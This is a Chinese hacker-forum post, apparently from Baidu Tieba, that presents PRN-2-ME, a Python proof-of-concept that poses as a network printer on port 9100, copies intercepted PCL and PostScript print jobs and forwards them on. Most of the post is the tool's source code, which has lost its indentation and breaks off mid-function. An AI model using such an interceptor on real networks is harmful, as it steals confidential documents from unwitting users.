网页资讯视频图片知道文库贴吧地图采购
进入贴吧全吧搜索
红客吧 关注：138,218贴子：685,650
  • 1回复贴，共1页

中间人攻击prn-2-me

n-2-me是
Chris John Riley使用python脚本编写的一个中间人攻击工具。它的工作原理是创建一个自定义的监+听+器(默认监+听9100端口)并伪装成一个打印机。它的目的是处理传入的 PCL和PostScript打印作业，保存一份副本到你的计算机上，然后再将它们转发给实际的打印机。有点像ARP欺骗，你或攻击者能够拦截整个内网打印的各种文档...
代码如下
#!/usr/bin/env python
# PRN-2-ME
#
# Chris John Riley
# blog.c22.cc
# contact [AT] c22 [DOT] cc
# 16/10/2010
#
# {Based on the proxyfuzz script from Rodrigo Marcos - http://www.theartoffuzzing.com}
# {Fuzzing elements removed}
#
# Changelog
# 0.1 --> Initial version
version = 0.01
from twisted.protocols import portforward
from twisted.internet.protocol import DatagramProtocol
from twisted.internet import reactor
import getopt, sys, re
def usage():
print '''
[ ] PRN-2-ME (PoC Printer MITM Script)
This script is designed to extract PS/PCL prints by creating a listener on a port of the users choice
(default 9100) and saving them to a file before sending on the printjob to the IP address of the real printer.
Usage .:
-l Port for the script to listen on (default: 9100)
-r IP-Address to redirct the print job to after saving to a file
-p Destination port to use when forwarding on print jobs (default: 9100)
Example .:
./prn2me.py -r 10.0.0.10
./prn2me.py -l 9101 -r 10.0.0.11 -p 9101'''
def logo():
print '''
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
(_)(_)(_)(_)_ (_)(_)(_)(_) _ (_) _ (_) _ (_)(_)(_) _ (_) _ _ (_)(_)(_)(_)(_)(_)
(_) (_)(_) (_)(_)(_)_ (_) (_) (_) (_)(_) (_)(_)(_)
(_) _ _ _(_)(_) _ _ _ (_)(_) (_)_ (_) _ _ _ _ _ _ (_) _ _ _ _ _ (_) (_)_(_) (_)(_) _ _
(_)(_)(_)(_) (_)(_)(_)(_) (_) (_)_ (_) (_)(_)(_)(_)(_) _ (_) (_)(_)(_)(_)(_) (_) (_) (_)(_)(_)(_)
(_) (_) (_) _ (_) (_)(_) _ (_) (_) (_)(_)
(_) (_) (_) _ (_) (_) _ (_) _ _ _ (_) (_)(_) _ _ _ _
(_) (_) (_)(_) (_) (_)(_)(_)(_)(_) (_) (_)(_)(_)(_)(_)(_)
+-++-++-+ +-++-++-++-+ +-++-++-++-++-++-+ +-++-++-+ +-++-++-++-++-++-++-+ +-++-+ +-++-+ - Chris John Riley -




|A||l||l| |Y||o||u||r| |P||r||i||n||t||s| |a||r||e| |B||e||l||o||n||g||s| |t||o| |U||s| - blog.c22.cc -
+-++-++-+ +-++-++-++-+ +-++-++-++-++-++-+ +-++-++-+ +-++-++-++-++-++-++-+ +-++-+ +-++-+ - v.%s -
''' % version
def process_dataReceived(self, data):
global verbose
global PCLactive
global PSactive
global data_tmp
global savedjobs
filename = 'job_'+str('%03d' % savedjobs)+'_'
# Only trigger on new files
if PSactive == 0 and PCLactive == 0:
if data.startswith("\033E\033") or \
((data[:6].find("\01b\045\01b") != -1)): # PCL Job Start
if ((data[:6].find("\01b\045\01b") != -1)): print 'WOOOOOOOOOO\n\n\n'
PCLactive = 1
print '\n [!] PCL Job Starting',
data_tmp=[]
data_tmp.append(data)
return
elif data.startswith("%!") or \
data.startswith("\004%!") or \
data.startswith("\033%-12345X%!PS") or \
((data[:128].find("\033%-12345X") != -1) and \
((data.find("LANGUAGE=POSTSCRIPT") != -1) or \
(data.find("LANGUAGE = POSTSCRIPT") != -1) or \
(data.find("LANGUAGE = Postscript") != -1))) : # PS Job Start (not checked)
PSactive = 1
print '\n [!] Postscript Job Starting',
data_tmp=[]
data_tmp.append(data)
return
# Trigger on EOF or continue data append
if PCLactive == 1 or PSactive == 1: # Check for ongoing printjob
data_tmp.append(data)
if PSactive == 1 and re.search(r'%%EOF' , data) : # Postscript Job End
PSactive = 0
title_place = data_tmp[0].find('Title:') # Search for filename in data if present
if title_place != '':
title = data_tmp[0][title_place+7:title_place+87] # Select title after the word Title: / Max 80 chars
else:
title = '(NoName)'
filename_extract = []
for x in title:



扫二维码下载贴吧客户端

下载贴吧APP
看高清直播、视频！
  • 1回复贴，共1页
分享到: